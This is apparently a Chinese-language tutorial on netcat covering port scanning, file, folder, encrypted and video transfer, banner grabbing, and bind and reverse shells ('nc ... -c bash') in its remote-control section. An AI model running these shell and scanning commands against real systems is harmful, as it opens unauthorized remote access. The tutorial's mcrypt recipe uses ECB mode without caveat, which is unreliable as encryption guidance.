netcat被称作是网络工具当中的瑞士军刀,短小却功能强大
1.端口扫描
nc -nvz 目标IP 端口范围
eg:
nc -nvz 192.168.1.105 1-65535
-n参数是不要使用DNS反向查询IP地址对应的域名,会影响速度
-v参数是输出详细信息
-z参数是不进行数据交换,仅仅知道端口开放就行
也可以加上-u参数,以udp探测
2.传输文本信息
A:
nc -lp 端口
B:
nc -nv A的IP 端口
eg:
A:
nc -lp 3333
B: nc -nv 192.168.1.105 3333
-l是监听
-p指定本地端口
3.传输文件
从A到B
A:
nc -lp 端口 < 文件 -q 1
B:
nc -nv A的IP 端口 > 文件
eg:
A:
nc -lp 3333 < 1.txt -q 1
B: nc -nv 192.168.1.105 3333 > 1.txt
从B到A
A:
nc -lp 端口 > 文件
B:
nc -nv A的IP 端口 < 文件 -q 1
eg:
A:
nc -lp 3333 > 1.txt
B: nc -nv 192.168.1.105 3333 < 1.txt -q 1
-q 1 代表传输完文件之后等待1秒钟关闭连接
4.传输文件夹
从A到B
A:
tar -cvf- 文件夹 | nc -lp 端口 -q 1
B:
nc -nv A的IP 端口 | tar -xvf-
eg:
A:
tar -cvf- py | nc -lp 3333 -q 1
B: nc -nv A的IP 端口 | tar -xvf-
从B到A
A:
nc -lp 端口 | tar -xvf-
B:
tar -cvf- 文件夹 | nc -nv A的IP 端口 -q 1
eg:
A:
nc -lp 3333 | tar -xvf-
B: tar -cvf- test | nc -nv 192.168.1.104 3333 -q 1
原理是发送端将文件夹压缩传输,接收端将文件夹还原接收
5.加密传输文件
要在kali里面安装mcrypt
apt-get install mcrypt
从A到B
A:
mcrypt --flush -Fbq -a rijndael-256 -m ecb < 文件 | nc -lp 端口 -q 1
B:
nc -nv A的IP 端口 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 文件
eg:
A:
mcrypt --flush -Fbq -a rijndael-256 -m ecb < 1.txt | nc -lp 3333 -q 1
B:
nc -nv 192.168.1.104 3333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.txt
从B到A
A:
nc -lp 端口 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 文件
B:
mcrypt --flush -Fbq -a rijndael-256 -m ecb < 文件 | nc -nv A的IP 端口
-q 1
eg:
A:
nc -lp 3333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.txt
B:
mcrypt --flush -Fbq -a rijndael-256 -m ecb < 1.txt | nc -nv 192.168.1.104 3333 -q 1
连接成功以后输入相同的秘钥就Ok了
6.流媒体
安装mplayer
apt-get install mplayer
A到B
A:
cat 视频 | nc -lp 端口
B:
nc -nv A的IP 端口 | mplayer -vo x11 -cache 1000 -
eg:
A:
cat 1.flv | nc -lp 3333
B: nc -nv 192.168.1.104 3333 | mplayer -vo x11 -cache 1000 -
B到A:
A:
nc -lp 端口 | mplayer -vo x11 -cache 缓存 -
B:
cat 视频 | nc -nv A的IP 端口
eg:
A:
nc -lp 3333 | mplayer -vo x11 -cache 1000 -
B: cat 1.flv | nc -nv 192.168.1.104 3333
-vo是选择输出模式
-cache是缓存大小
7.克隆设备
本人没用过这个功能…就不说了
8.远程控制
正向
A:
nc -lp 端口 -c bash
B:
nc -nv A的IP 端口
eg:
A:
nc -lp 3333 -c bash
B: nc -nv 192.168.1.104 3333
反向
A:
nc -lp 端口
B:
nc -nv A的IP 端口 -c bash
A:
nc -lp 3333
B:
nc -nv 192.168.1.104 3333 -c bash
-c是使用命令行,如果是Windows主机,需要把bash改成cmd
正向是A被控制,反向是B被控制
9.telnet
nc -nv 目标IP 端口
eg:
nc -nv 192.168.0.108 80
然后可以交互式输入,例如输入head敲回车,会返回网页的头